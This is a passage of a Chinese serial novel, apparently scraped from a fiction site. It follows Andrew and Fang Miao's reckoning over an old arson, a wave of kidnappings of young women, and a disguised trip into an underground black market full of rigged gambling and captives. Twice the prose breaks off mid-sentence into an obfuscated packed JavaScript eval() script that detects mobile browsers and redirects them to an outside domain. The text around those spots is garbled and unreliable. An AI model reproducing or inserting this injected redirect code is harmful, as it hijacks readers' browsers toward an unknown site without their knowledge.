"妙儿,"安德鲁的声音穿过唇齿,落在少女的发顶,"那些日子,你一定很害怕吧。"手指轻轻梳理对方的头发,"现在不用怕了,我在这里。" “你已经知错了,我想白鸽不会计较,而且——”安德鲁停顿下来,似乎在思考,但话锋一转,他的语气变得冷漠,“我当年把他救回来,养育他,你当年犯的错,如今我替你还了,你两也扯平了,不必再在意了.......” “可是我.....”方妙没想到安德鲁会这么说,她没想到安德鲁会如此偏心自己。 "以后都不会让你再独自面对这些了。"安德鲁握住方妙的手,放在唇边轻轻一吻,"你看,春天已经来了。" 这个时候,方妙彻底知道了,眼前这个人——或许比谁都清楚,她藏在绒毛下的尖牙。 "你说当年救回白鸽......"方妙喉间突然发苦,“你查过当年那场大火,这个案子是你接手的吧。” 安德鲁转身去添茶,"妙儿总爱追究这些细枝末节。"对方的声音浸在蒸腾的水汽里,"自然,毕竟苍莽山也算南清的一部分。" "哦对了,昨夜白鸽咳血了。"安德鲁像是又想到什么又突然提起,"医馆说旧疾复发,你知道的,白鸽那嗓子全是我靠药保下来的。" 方妙的指甲掐进掌心。她见过白鸽咳血,但每次对方都只是笑着说只是贪凉受了风。 此刻安德鲁的话像把钝刀,慢慢剖开她刻意忽略的真相——原来他早就知道,知道她在故意靠近他。 方妙其实没一直告诉安德鲁,当年自己答应留下来,是知道安德鲁身份地位的时候之后才决定的,自己为何会选择来到南清,就是打听到了安德鲁在此的地位——她需要一个庇护伞,掩盖自己一切罪恶。 她知道那时候白鸽躲在暗处,所以她拒绝那个老妇人,然后装作可怜兮兮,顺利来到安德鲁的身边,那时候她心中没有“爱”这个字,只有利用。 "明日陪我去趟慈恩寺吧。"安德鲁忽然握住她的手,"替白鸽抄些往生经,他近些日子总说又梦见火场,可能是那晚江知烨提起他的嗓子问题。" 方妙抽回手,"原来你早就知道。"她听见自己的声音像片枯叶,被风卷着飘向不可知的深渊,"从那次在都察院门口看见我,就知道——我是故意的?" 安德鲁闻言笑了笑,:"妙儿总爱后知后觉。"他将轻轻捏住少女的手腕,力道大得让她生疼,"不过我不喜欢别人脱离我的掌控,亦或者——打乱我的计划" "为什么?"方妙听见自己问,喉咙里像是塞了把烧过的稻草,"为什么救白鸽?为什么养他?" "因为黑松镇的火,烧了整个南清城三成的官银漕运记录 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694800|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,"安德鲁不假思索,似乎还带点无所谓,"而林家小公子,是唯一见过纵火者真容的活口。" "你说,他要是现在去查当年的山火案,"安德鲁从笔筒里抽出一支狼毫,笔尖蘸了蘸朱砂,在《南清刑律》空白处画了个圈,"妙儿,你说我该让他查哪一步呢?" 窗外传来更夫打更的梆子声,子时三刻。方妙看见自己的影子被烛光拉长,与安德鲁的影子交叠在刑律书页上,像两株缠在刑具上的菟丝花。她伸手拿起案上的碧螺春茶盏,杯沿还留着安德鲁的体温,这次却没有推远,而是轻轻抿了一口。 "您想让我怎么做?"她听见自己的声音异常平静,像在问今晚吃什么菜般寻常。 安德鲁搁下狼毫,伸手替她理了理鬓角的碎发。“明日巳时,你去一趟苍莽山。” 方妙感觉到有硬物被塞进掌心,低头一看,是枚刻着"都察院密"的铜钥匙。 "把东麓第三棵松树下的铁盒取回来,那里装着当年黑松镇所有活口的证词。" "那盒里......"方妙攥紧钥匙,铜棱硌进掌心,"有我的名字吗?" 安德鲁替她推开书房门,月光涌进来,"妙儿,"他望着远处更楼上的灯笼,语气里带着几分惋惜,"你以为那些活口,真的能活到现在吗?" 方妙踩在月光里,忽然听见自己心底有什么东西裂开的声音。 不是恐惧,不是愤怒,是一种近乎解脱的钝痛。她终于明白为什么自己犯的一切错,对方都能轻易替她抹平——因为根本没有需要抹平的痕迹,所有可能指认她的人,早就成了...... "巳时三刻,我在苍莽山脚下等你。"安德鲁轻轻推了推她的肩膀,"记得穿耐磨的靴子,山路不好走。" 方妙往前走了两步,忽然停住。她转身看向站在烛光里的男人,对方的脸半明半暗,"您早就知道我是纵火犯,为什么还要......" "为什么还要爱你?"安德鲁笑了,笑容里带着几分怜悯,几分自得,"因为你和我一样,妙儿。我们都是需要踩着灰烬往上爬的人,只不过......"他故意停顿,盯着少女脸上闪过的紧张,"你踩的是别人的灰烬,而我......" 他没有说完,只是转身吹灭了烛火。黑暗中,方妙听见自己的心跳声,和火场里的心跳声重叠在一起。原来有些火,从来就没有灭过,它们只是藏在心底,等着下一个引火的人。 原来不是山火蔓延了宅邸,是宅邸的火引向了山,而纵火的人,从来不止她一个。 "白鸽之前问起你的佩剑。"安德鲁靠着门框,习惯性摩挲耳朵上的耳环,"他说那剑穗上的银饰,与他母亲的陪嫁很像。" 方妙猛地抬头,撞上对方垂眸时投下的阴影。那些被她当作救赎的温柔,此刻都成了淬了毒的丝,将她一寸寸缠进更深的渊薮。 为何白鸽总爱站在她身后,为何安德鲁总说"我在这里"——不是为了守护,是为了不让她逃。 远处传来打更声,这次是五更。方妙忽然笑了,笑声惊飞了檐下栖息的夜鸟。原来春天从未来过,他们都活在永不熄灭的火场里,有人纵火,有人添柴,而她以为的救赎,不过是另一场大火的开端。 “替我和白鸽说声对不起——”方妙转身走进夜色,“但这次,我不会再让火灭了。" 69. 五年变动 南清城的夜空明月高照,街角茶肆的老板娘吴妈正忙着收摊,忽闻身后传来细碎的脚步声。她回头时,只看见一道黑影闪过。 自之前安德鲁几人离开那一段时间起,这样的怪事已发生十七起,起初是深夜独行女子失踪,如今竟演变成白日里年轻姑娘凭空消失。 “安大人,今日又有三家报了失踪案。”巡城卫程浩锐跪在衙门前,声音里带着惶恐,“西街布庄的女儿叶含笑,卯时出门买丝线,辰时便没了踪迹。” 江知烨闻言握着茶盏的手顿了顿,他抬眼看向对面的安德鲁,后者正用指尖轻轻叩击着桌案,指节因用力而泛白。 “寻常采花贼哪有这等手段?”安德鲁忽然开口,“能在众目睽睽下消失,之前我们不在还说得过去,如今我们回来了还敢,真是猖狂。” 江知烨皱眉:“可咱们是刑案司,这等江湖事……”话未说完,便被安德鲁截断:“知烨,你忘了以前城西的狼人杀人案?表面是凶杀,实则牵扯到黑市贩卖兽核。这采花贼如此猖狂,背后说不定藏着更大的阴谋。” 两人正说着,窗外突然传来一阵嬉闹声。顾时夜和顾夜白兄弟俩翻墙而入,顾夜白手里还攥着半块桂花糖糕。 “江大人!”顾时夜晃了晃手里的纸包,“妙儿姐让我们给您送点心来。” 顾夜白附和着点头,嘴角还沾着糖霜:“哥,你闻见没?屋里有股子愁味,比上次妙儿姐打翻醋坛子还难闻。” 江知烨被逗得轻笑,接过糖糕放在桌上:“你们俩倒是清闲,今日巡街可发现什么异样?” “能有什么异样?”顾时夜撇嘴,“姑娘们都躲在家里绣花,连东街的王寡妇都改在正午出门打水了。不过……”他忽然凑近,压低声音,“昨日在后巷看见个怪人,蒙着面,走路轻飘飘的,像踩在棉花上。” “许是哪家的江湖客。”江知烨不以为意,却见安德鲁的眼神突然凝重。 两人对视一眼,均从对方眼中读出了疑虑——若真是寻常江湖客,为何要蒙面?又为何专挑人少的后巷出没? ...... 夜幕降临,江知烨独自坐在书房,案头的烛火忽明忽暗。正出神间,门“吱呀”一声开了,清冷淡雅的茶香随之飘来。 “怎么还不睡?”柳漠澜将青瓷茶盏放在桌上,“看你眉头皱得紧,可是案子棘手?” 江知烨叹了口气,将白天的事简略说了。 柳漠澜听完,指尖轻轻摩挲着茶盏边缘:“安德鲁说得对,此事必有蹊跷。只是……”他抬眼看向江知烨,“你们打算如何引蛇出洞?” 江知烨一愣,这才想起尚未与对方商量计划。斟酌半天开口:“本想找个有自保能力的女子做饵,我想选妙儿的,但安德鲁肯定不同意……” “所以你们想男扮女装?”柳漠澜忽然轻笑,眼中闪过一丝狡黠,“我猜,安德鲁是想让我去?” 江知烨猛地抬头,对上那双笑盈盈的眸子,顿时语塞。他想起下午安德鲁拍着他的肩膀说:“知烨,全南清城还有比漠澜更适合男扮女装的人吗?你瞧他那身段,那眉眼……”当时他差点掀了桌案,可如今被柳漠澜当面点破,竟不知如何反驳。 “阿澜,我……”江知烨欲言又止,伸手握住对方的手腕,掌心触到袖口下的肌肤,细腻温软,“太危险了。那采花贼手段诡异,万一……” “若不去,如何能查出真相?”柳漠澜反握住江知烨的手,“况且你还打不过我呢”他顿了顿,忽然凑近,温热的呼吸拂过对方耳畔,媚眼如丝,“再说——你不想看我穿女装么?” ....... 第二日午后,江知烨躲在刑案司后堂的屏风后,心跳如鼓。 妆娘张婶正围着柳漠澜打转,手中的螺子黛在对方眉骨上轻轻勾勒。顾时夜和顾夜白趴在窗台上,眼睛瞪得溜圆。 “阿澜哥这模样,怕是连妙儿姐见了都要自惭形秽。”顾夜白嘀咕着,被哥哥狠狠戳了下腰眼。 “别瞎说。”顾时夜嘴上这么说,眼睛却直勾勾盯着柳漠澜——此刻的对方,乌发垂肩,面敷铅粉,唇点绛朱,水袖轻挽间竟真有几分弱柳扶风的韵味。 江知烨只觉喉间发紧,忽然想起方才安德鲁在他耳边说的话:“良机难得,错过可就没了。”此刻再看,只恨自己昨夜竟鬼使神差般答应了这事。 “江大人,您看这妆容……”张婶的话打断了他的思绪。江知烨定睛一看,只见柳漠澜眼尾扫了淡淡胭脂,衬得双眸如秋水含烟,腰间一条茜素罗裙勾勒出纤细腰肢,走动时裙摆轻扬,说不出的风流婉转。 “咳……”江知烨猛地转头,却不慎撞到屏风,发出“咚”的一声。 众人哄笑起来,顾时夜笑得上气不接下气:“江大人这是怎么了?莫不是见了美人儿,腿软了?” 柳漠澜嘴角微扬,缓缓移到江知烨面前,福了福身:“知烨,你看这样可还行?”那声音本就清润,此刻刻意放软,竟带了几分女儿家的娇憨。 江知烨只觉鼻腔一热,眼前骤然模糊——待反应过来,已是一手鼻血。 “快去洗洗!”安德鲁强忍着笑,递来一方帕子,“莫不是昨夜没睡好?” 闻言江知烨瞪了他一眼,却在触到柳漠澜关切的目光时,忽然红了耳根。 ....... 蝉鸣在暑气里碎成一片,街角老槐树影里,江知烨攥着佩刀的手已沁出汗来。 目光紧随那抹茜素罗裙,耳中却听见安德鲁压低的声音:“两兄弟上房檐,我走右侧暗巷,你盯着正前方第三盏灯笼——那黑影在瓦当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这种在一些暗巷里或者交易里,代表帮人盗窃、绑架,同理右胳膊绑一条白绳子就类似于雇佣兵杀手等,但这个多用于黑市。” “所以你认为这牵动黑市?” 安德鲁点头,“一个采花贼,却干绑架而不是败坏女子贞操,而且此人敢在我们眼皮底下作案,怕是仗着背后有人撑腰。” “那这黑市恐怕不好找吧”江知烨眉头紧锁,“南清城里的黑市不是被端了好几个了吗?” “黑市这个东西,像老鼠一样,到处打洞”安德鲁上前拍了拍江知烨的肩,“盘根错节,灭不完的,走了,明日去打听一下,顺便加强戍卫巡逻。” 70. 黑市前夕 “这里没有公平的角斗,只有用欲望筑成的绞肉机,将獠牙磨得发亮的,从来不是野性,是永远喂不饱的,吃人的规则。” 戌时三刻,方妙将斗笠边缘又压低了几分,遮住半张脸,身旁的江知烨抬手叩门,指节敲在木门上。 门“吱呀”一声开了条缝,一股混杂着汗臭、酒气和熏香的浑浊气息扑面而来。 “二位面生得很。”门后的汉子瓮声瓮气地说,目光在两人身上逡巡。 江知烨抬手摸了摸腰间的钱袋,里面的铜钱相互碰撞,发出清脆的响声:“慕名而来,想讨口饭吃。”声音沉稳有力,带着几分刻意的粗犷。 汉子盯着钱袋看了片刻,忽然咧嘴一笑,露出尖利的犬齿:“请进吧,规矩自个儿懂。” 堂内烛火昏黄,二十几张榆木赌桌沿墙摆开,每张桌前都围满了人。方妙目光扫过左侧第三张桌子,见庄家是个左眼角有刀疤的汉子,正攥着一把骨牌哗啦啦洗牌。 “去那张桌。”江知烨用袖口掩着嘴,低声说道。 方妙会意,跟着他穿过人群,在张猛的赌桌斜对角坐下。 桌面上散落着几枚碎银和半块蜜糕,显然前一局刚散。 张猛抬眼扫了他们俩一眼,声音像破锣般沙哑:“生面孔,规矩懂不懂?” “在下江二,跑丝绸生意的。”江知烨从袖中摸出一锭五两银纹,“这位是舍弟小妙,跟着出来见见世面。” 方妙适时低下头,喉间压出几分粗哑:“庄家请赐教。” 张猛盯着那锭银纹看了片刻,忽然咧嘴一笑,露出颗金牙:“好说,玩‘揭羊头’还是‘斗叶子’?” “斗叶子吧。”江知烨道。 方妙心中暗赞,这“斗叶子”需要四人组局,讲究记牌算牌,最适合他们这种想低调赢钱的“外乡人”。 闻言张猛随手从腰间抽出一副牛皮包裹的叶子牌,往桌上一甩:“咱这规矩,每局百文底注,上不封顶。先抓牌,从庄家下家开始。” 方妙留意到,他洗牌时拇指与食指间夹着两张牌,指尖轻搓,牌面发出极细微的“簌簌”声——这是在做记号。 她不动声色地接过牌,低头扫了眼,手中握的是“万万贯”“九索”“七筒”,算中等牌面。 下家是个戴毡帽的瘦子,抓牌时小指微微勾起,指甲缝里沾着点朱砂粉,显然也是个惯于出千的主儿。 第一局由张猛先出牌,他甩出一张“红九万”,声音里带着几分试探:“江老板跑丝绸,可曾去过西凉山?” 江知烨漫不经心丢出“黑三万”:“前年走过一趟,山路上遇见劫道的,货丢了大半。” 方妙听出他在试探黑市路线,便将“九索”轻轻推出去:“后来怎么着?” “后来啊——”江知烨目光扫过瘦子的牌面,见他指尖在“五筒”上摩挲,心知他想凑“五索五筒”的对子,“遇见个卖皮子的老汉,带我们绕后山小路出了山。”说话间,他甩出“八索”,正好吃掉方妙的“九索”。 见状张猛眯起眼,又出“七万”,方妙觑准时机,将“七筒”拍在桌上:“碰。” 牌过三巡,方妙已摸清张猛的记号规律——他习惯将“万万贯”和“九万”用拇指搓出凹痕,“一索”和“一筒”则用食指压出细缝。 此时她手中还剩“五万”“三索”和“二筒”,而桌面上已出现三张“五万”,张猛若想凑“同花顺”,必定缺这最后一张“五万”。 “江老板这牌运不错啊。”张猛又灌了口酒,眼角刀疤随笑容扭曲,“该你了。” 江知烨沉吟片刻,故意将“五万”捏在指间转了两圈,才慢条斯理放在桌上:“五万。” 方妙留意到瘦子瞳孔微缩,显然他手中有“四万”和“六万”,就等这张“五万”凑顺子。 “慢着。”张猛突然伸手按住牌,“我这‘七万’还没吃呢。”说罢,他从底牌里抽出一张“五万”,往桌上一甩,“巧了,我也有五万。”方妙心中冷笑,这张“五万”边缘光滑,分明是从底牌偷换的——看来张猛见他们连赢两局,开始耍手段了。 江知烨却似浑然不觉,轻叹一声:“庄家好手段。” 方妙趁机将“三索”和“二筒”推出去:“小弟认输。” 张猛哈哈大笑,将桌上银钱扫进怀里,金牙在烛火下泛着贼光:“年轻人,赌坊里混,靠的不是运气——” 话音未落,忽听右侧传来一阵喧哗。众人转头望去,见一个穿湖蓝锦袍的公子哥正拍着桌子骂娘,身边站着个戴面纱的侍女,手中捧着个朱漆匣子。那公子哥随手抓起一把骰子砸向庄家:“你这骰子有鬼!老子连押十把大,全是小!” 方妙目光一凝,见那骰子落地时骨碌碌直转,最后竟立在桌面上——灌了铅的“立骰”。 庄家是个矮胖汉子,三角眼滴溜溜乱转:“客官这话可就冤枉小人了,要不您换副骰子试试?”说着,从袖中摸出三枚新骰子,在掌心搓了搓,“您看,绝无问题。” 公子哥正要发作,侍女忽然轻咳一声,附耳说了几句。公子哥脸色稍霁,甩袖道:“算你走运,明日爷再来收拾你!”说罢,带着侍女扬长而去。 方妙余光注意到,侍女经过他们桌前时,袖口滑落半寸,露出腕间银色的狼首纹身——这是她之前流浪时见过的“银狼帮”标记。 “该发牌了。”江知烨的声音将她拉回现实。 张猛又开始洗牌,这次他刻意加快速度,牌面在指间翻飞如蝶。 方妙假装揉眼,指尖却悄悄沾了点桌上的蜜糕碎屑,趁张猛不注意,将碎屑抹在几张牌的背面——这样一来,她便能通过触感辨别牌面。 第四局开始,方妙手中握着“一索”“二索”“三索”,正是小顺子的起手。 张猛出“九筒”,瘦子跟“八筒”,江知烨却丢出“一筒”,显然在示弱。 方妙心中有数,待张猛再出“五索”时,她突然将三张索牌全推出去:“顺子,通杀。” 张猛脸色一变,猛地拍桌:“慢着!你这牌......” 江知烨突然接口:“庄家这是要赖账?我们兄弟虽初来乍到,却也知道聚财楼的规矩。” 周围赌客闻言纷纷起哄,张猛额头青筋直跳,半晌才从牙缝里挤出几个字:“算你狠。” 说着,将一锭十两银纹拍在桌上,“今日到此为止,各位请便。” 方妙知道他已生疑,便冲江知烨使个眼色,两人起身离开赌桌,装作闲逛般往堂内深处走去。 此时,东角赌桌上正有两人对局,左边是个五大三粗的汉子,满脸络腮胡,人称“铁臂张”,右边是个精瘦的老者,外号“骰子李”,据说能听骰子辨点数。 “铁臂张”重重拍了下桌子,粗声道:“李老头,今日咱可不会再输给你!” 骰子李捋了捋山羊胡,淡笑道:“张老弟,话别说太满,骰子没落地,谁输谁赢还不一定呢。” 两人各自抓起骰子,在手中摇晃。方妙目不转睛地盯着他们的动作,耳朵微微一动。江知烨站在她身后,看似随意地扫过周围,实则在观察其他赌客的反应。 “啪!”骰子落地,“铁臂张”的骰子是两个六点,一个三点,总点数十五;骰子李的则是两个五点,一个四点,总点数十四。 “哈哈,李老头,你输了!”铁臂张大笑一声,伸手去拿桌上的银纹。 骰子李脸色微沉,却也爽快地推过银纹。方妙见状,心中已有计较,她朝江知烨使了个眼色,江知烨不动声色地往前凑了凑。 “在下初来乍到,不知能否与两位前辈讨教一二?”方妙微笑着开口,将筹码轻轻放在桌上。 铁臂张上下打量着方妙,粗声笑道:“小子,你可知这赌桌上的规矩?输了可别哭鼻子。” 方妙淡淡一笑:“愿赌服输,自然知晓。” 骰子李目光在方妙身上转了转,道:“公子既想玩,那就来吧。” 方妙点头,伸手取过骰子,在手中轻轻摇晃。她的手法极轻,骰子在掌心转动,发出细微的声响。 “啪!”骰子落地,三个骰子分别是四点、五点、六点,总点数十五。 “好小子,手气不错!”铁臂张笑道,“该我了。”他抓起骰子,用力摇晃,骰子在他手中发出哗哗的响声。 方妙仔细听着骰子的声音,嘴角微微上扬。待铁臂张放下骰子,她心中已有数,面上却不动声色。 骰子落地,竟是三个六点,总点数十八!铁臂张大笑:“小子,这下你输了吧!” 方妙挑眉,故作惊讶道:“前辈好手段,看来在下运气不佳。”说着,她又推了些筹码上去,“再来一局如何?” 接下来几局,方妙有输有赢,却始终保持着平和的神色。 正玩得兴起,忽听一旁有人冷笑道:“光玩牌九有什么意思,不如换个花样?” 众人循声望去,只见一个衣着华丽的中年男子缓步走来,身后跟着两个随从。男子腰间挂着一块和田玉佩,举止间透着几分贵气。 “金算盘周娘子?”骰子李挑眉,“你今日怎么有空来此?” 原来眼前男子竟是闻名赌坊的“金算盘周娘子”,虽为女子,却扮作男子模样在商场上打滚,精于计算,从未吃过亏。 周娘子淡淡一笑:“听闻聚贤阁来了位高手,特来会会。”说着,她目光落在方妙身上,“这位公子,可敢与我赌上一局?” 方妙心中微动,面上却依旧镇定:“不知周娘子想赌什么?” 周娘子扫了眼赌桌,道:“就赌摇骰子吧,不过规矩得改改。每人摇三次骰子,取最高点数比大小,如何?” 方妙点头:“好,就依周娘子的规矩。” 周娘子率先拿起骰子,轻轻摇晃。她的手法与方妙不同,骰子在她手中转动得极快,却几乎没有声响。方妙凝神细听,却只能捕捉到一丝细微的动静。 三次摇晃后,周娘子放下骰子,三个骰子分别是五点、五点、六点,总点数十六。 “该公子了。”周娘子微笑着看向方妙。 方妙深吸一口气,拿起骰子。她知道这一局至关重要,周娘子的手法诡异,难以捉摸,唯有全力以赴。 第一次摇晃,她故意让骰子发出较大的声响,实则暗中调整角度;第二次,她放缓速度,仔细感受骰子的转动;第三次,她屏住呼吸,手指轻轻一抖,骰子在掌心快速旋转,却又稳如泰山。 “啪!”骰子落地,三个骰子 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方妙上下打量着他,心中暗自警惕。她注意到,傅文宇智虽然只有一只手,但站姿稳健,气息绵长,显然有一身不俗的功夫。而且,他能在他们毫无察觉的情况下跟了这么久,这份功力不可小觑。 “傅兄找我们有事?”江知烨开门见山地问。 傅文宇智微微一笑,目光在两人身上扫过:“实不相瞒,在下见二位赌技高超,想与二位合作一番。”他顿了顿,继续说道,“我知道几个好去处,那里的赌局更大,油水更足,而且……”他故意拖长了声音,“在下有一手绝活,能让咱们在赌桌上无往不利。” “哦?什么绝活?”江知烨挑眉问道,眼中闪过一丝好奇。 傅文宇智伸手摸了摸空荡荡的左袖,语气平静地说:“出老千,而且不会被人发现。” 方妙心中一凛,表面却不动声色:“傅兄说笑了,这出老千的勾当,咱们可不敢做。再说了,傅兄这胳膊……”她故意没有说完,目光落在他的断袖上。 傅文宇智自嘲地笑了笑:“不瞒二位,这胳膊就是因为以前赢太多,遭了别人的嫉妒,才被废了。不过……”他眼中闪过一丝狠厉,“他们只知道我用左手出千,却不知道,右手的手段,才更厉害。” 江知烨看了方妙一眼,眼中带着询问。方妙微微点头,示意他继续问下去。 “那傅兄想怎么合作?”江知烨问。 傅文宇智目光一凝,认真地说:“很简单,二位负责在赌桌上赢钱,我负责出千和打点关系,赚了钱,咱们三个人平分。而且,我还可以教二位更厉害的赌技,保证让你们在这黑市上站稳脚跟。” “黑市?”方妙心中一动,面上却装作疑惑,“什么黑市?” 傅文宇智一愣,随即笑道:“二位果然是新来的,这坊不过是个表面的场子,真正的大鱼,都在黑市呢。那里有你想要的一切——情报、武器、女人,只要你有钱,什么都能买到。” 江知烨装出一副心动的样子:“听起来倒是不错,不过……”他看向方妙,“方兄,你怎么看?” 方妙沉吟片刻,故意露出一副犹豫不决的样子:“傅兄的提议确实诱人,不过这出老千的事,风险太大。再说了,咱们刚认识,不知傅兄是否值得信任。” 傅文宇智闻言,从怀中掏出一块令牌,递给方妙:“这是黑市的通行令,有了这个,咱们就算是自己人了。至于信任……”他目光坚定,“在下混了这么多年,靠的就是一个‘信’字,二位若是不信,咱们可以先试一次,赢了钱,二位先拿大头,如何?” 方妙接过令牌,仔细端详了一番。令牌呈黑色,上面刻着一只盘踞的毒蛇,嘴里叼着一个骷髅头,透着一股阴森的气息。 两人心中暗忖,这傅文宇智果然不简单,能拿出黑市的通行令,说明他在黑市中有些地位。 “好,那咱们就试一次。”方妙抬头,目光与傅文宇智相对,“不过丑话说在前头,若是傅兄耍什么花招,咱们也不是好欺负的。” 傅文宇智大笑出声:“痛快!那就这么说定了,明日夜里,酉时三刻,咱们在城西的破庙碰头,我带你们去见识见识真正的赌局。” 说完,他拱了拱手,转身离去,衣摆被夜风吹起,露出一截青色的尾椎骨——竟是龟族后裔,难怪气息如此沉稳。 方妙看着他的背影,眼中闪过一丝深思。 江知烨凑近她,低声问道:“你真的打算跟他合作?我看这人不简单,说不定有什么阴谋。” 方妙嘴角微微上扬:“正因为他不简单,咱们才要跟他合作。你没听见他说黑市的事吗?咱们来这儿的目的,不就是为了打听黑市的消息吗?跟着他,说不定能找到线索。再说了……”她眼中闪过一丝狡黠,“他看上我两,说明我两身上有他想要的,他想利用咱们,咱们何不也利用他?看看他到底有什么目的。” 江知烨点点头,眼中露出赞许之色:“还是你想得周到。不过明日去破庙,得小心点,说不定有埋伏。” 方妙轻笑一声:“放心,我自有分寸。时候不早了,咱们先回去,养精蓄锐,明日也好应付那傅文宇智。” 71. 罂栗园 酉时三刻,城西破庙。 傅文宇智如期而至,右袖中隐隐鼓起,似藏着什么物件。 他扫了眼两人的装束,满意点头:“黑市规矩严,二位记住,别乱看,别多嘴。”说罢,领着两人绕到庙后枯井旁,井口覆着青藤,隐约传来潮湿的腐木味。 江知烨探头望去,井底漆黑如墨,忽然有铁链摩擦声自深处传来——竟是有人正顺着铁索攀爬而上。那人头顶生着鹿角,鼻尖淌血,怀里紧抱个红木匣子,落地后踉跄着撞进阴影里,再无声息。 “跟紧了。”傅文宇智率先抓住井壁垂下的粗绳,脚掌蹬着石壁向下滑去。 三丈余深,井底豁然开朗。通道由黑石砌成,两侧壁上嵌着夜明珠,幽幽照亮前方。 行约百步,眼前突现巨大溶洞,穹顶倒悬钟乳,地面蜿蜒着暗河,河面上漂着浮灯,光影里晃过鲨鱼鳍般的背鳍——竟是有人在河里养了食人鱼。 “到了。”傅文宇智抬手向前方。 方妙眯起眼,只见溶洞深处灯火如星河落地,人声鼎沸中混着兽类低嚎。道路两侧立着石雕,分别是盘蛇吞骷髅、鹰喙叼罂粟、猛虎衔双刀、山羊卧花丛——如果没猜错是这里的四大势力标志。 “看见那悬着青铜灯的场子了吗?”傅文宇智压低声音,“蛇首堂的赌局,专吃生面孔。呆会儿我坐庄,你们押注,记住——”他独手轻拍江知烨肩膀,“听见第三声更鼓就收手。” 赌台是块巨大的龟甲,裂纹里嵌着铜钉,泛着暗红光泽。 庄家是个瘦高男人,左脸爬满青鳞,吐字时舌尖分叉。他指尖夹着三枚骨骰,在龟甲上敲出“哒哒”声:“各位看好了,买定离手!” 方妙扫过赌台,见押注区刻着“人”“兽”“死”三字,不禁皱眉。 傅文宇智凑近道:“押‘人’赢银钱,押‘兽’赢活口,押‘死’……”他顿了顿,“赢命。” 江知烨目光凝在龟甲边缘,那里摆着个铁笼,笼中缩着个豹族少女,皮毛沾满血污,颈间铁链拴着铜铃——显然是“兽”注的活押。 再看“死”注区,几个黑衣人正往台角搬一具棺材,棺盖缝隙里渗出暗红液体。 “开盅!”瘦高男掀开盖碗,三枚骰子骨碌碌转成“幺、幺、六”。 押“人”的赌客骂骂咧咧散去,押“兽”的则欢呼着指向铁笼——豹女突然发出凄厉嘶鸣,脖颈铁链竟被拽直,几个壮汉正隔着笼子摸她皮毛。 “换你们上。”傅文宇智将一锭金叶子推给方妙,独臂随意搭在赌台上。 江知烨押了五两碎银在“人”区,方妙却将金叶子推到“死”区。 瘦高男瞳孔一缩,舌尖舔过獠牙:“这位公子好气魄,不过棺材里的货,可不是谁都能赢走的。” 骰子声再起时,方妙忽然听见暗河方向传来锁链轻响,但现在她没多余的心思去查看。 “啪!”盖碗扣下,瘦高男尖笑:“三点,通杀!”押“人”的赌客捶胸顿足,押“兽”的则开始竞价买豹女。 但方妙注意到,瘦高男扣碗时小指在龟甲裂纹处点了三下。 “慢着。”傅文宇智忽然开口,独手按在盖碗上,“我这注还没下呢。”他从袖中抖出三枚骰子,在掌心转得哗哗响,“咱们换个玩法,比听骰。” 周围顿时静了静。听骰是黑市赌徒的绝技,需在骰子落地前听出点数组合。方妙屏息细听,傅文宇智手中骰子似有韵律,两快一慢,与寻常摇骰节奏不同。 “啪!”骰子停在龟甲裂缝处,两枚六点朝上,一枚三点侧立。瘦高男脸色微变:“巧了,跟我这把一样。” 傅文宇智淡笑:“可我这第三枚骰子,是竖着的。”说着,指尖轻弹,侧立的骰子轰然倒下——幺点。 三枚骰子组成“六、六、幺”,刚好压过瘦高男的“三、三、六”。 赌客们轰然叫好,方妙却注意到,傅文宇智摇骰时,独手袖口闪过银光。 豹女被推到傅文宇智面前时,脖颈铁链已磨出血痕。江知烨正要开口,方妙却轻轻拽了拽他袖口。 此刻他们是来探路的“丝绸商人”,不是救世主。 “接着去鹰喙堂逛逛。”傅文宇智抛着骰子往前走,铁链在他掌心缠了两圈,豹女踉跄着跟上,“那儿的烟泡能让老虎变病猫,你们见了可别眼红。” 闻言江知烨眉头一皱,深知去了那肯定免不了沾染毒品,于是连忙出声,“比起那,我更想看看那”说罢,抬手指向一处花楼。 见状傅文宇智有些惊奇,眉梢一挑就带着两人往所指方向走去,“有目标,挺好,听说那里最近抓了不少年轻女子,包鲜的。” “抓来的?”江知烨不动声色地瞥了一眼对方,“我还挺好奇,像这里的花楼,年轻女子从哪来的,毕竟应该没有哪个女子自愿吧。” “对啊,难不成是靠‘卖身契’买来的奴隶?”方妙跟着沉着嗓子附和。 “奴隶有啥好的,又不漂亮还不干净,靠绑架呗,首头一般就是雇人到处绑架,听话的能活,不听话——你们懂的” 闻言方妙和江知烨不约而同想到了采花贼的案子。 而他们也到了花楼门口。 花楼匾额上书“醉红绡”三字,鎏金字体沾着几滴暗红,不知是胭脂还是血渍。 守门的老奴弓着背,脸上涂着厚粉,见傅文宇智过来,立刻谄笑:“傅爷可算来了,三娘今早还念叨您……” “少废话。”傅文宇智踢了踢豹女的脚踝,“找两个干净的,别给我惹麻烦。” 踏入堂内,一股浓郁的沉水香扑面而来,混着胭脂味令人作呕。 方妙屏住呼吸,目光扫过四周:二十几个女子分坐在红木榻上,衣着暴露,腕间都戴着铜铃,见有客人进来,立刻挤出职业化的笑容——唯有眼角青黑,透着疲态。 “哟,这是哪来的俊俏公子?”涂着丹蔻的手搭上江知烨肩膀,香粉簌簌落在衣襟上。方妙抬眼,见是个穿桃红素纱的女子,左眼角点着美人痣,腕间铜铃刻着“绿翘”二字。 江知烨不动声色地避开,从袖中摸出块碎银塞给她:“姑娘且退下,我兄弟俩想独自坐坐。” 见状绿翘挑眉,指尖在他掌心划了划,才扭着腰肢离去。 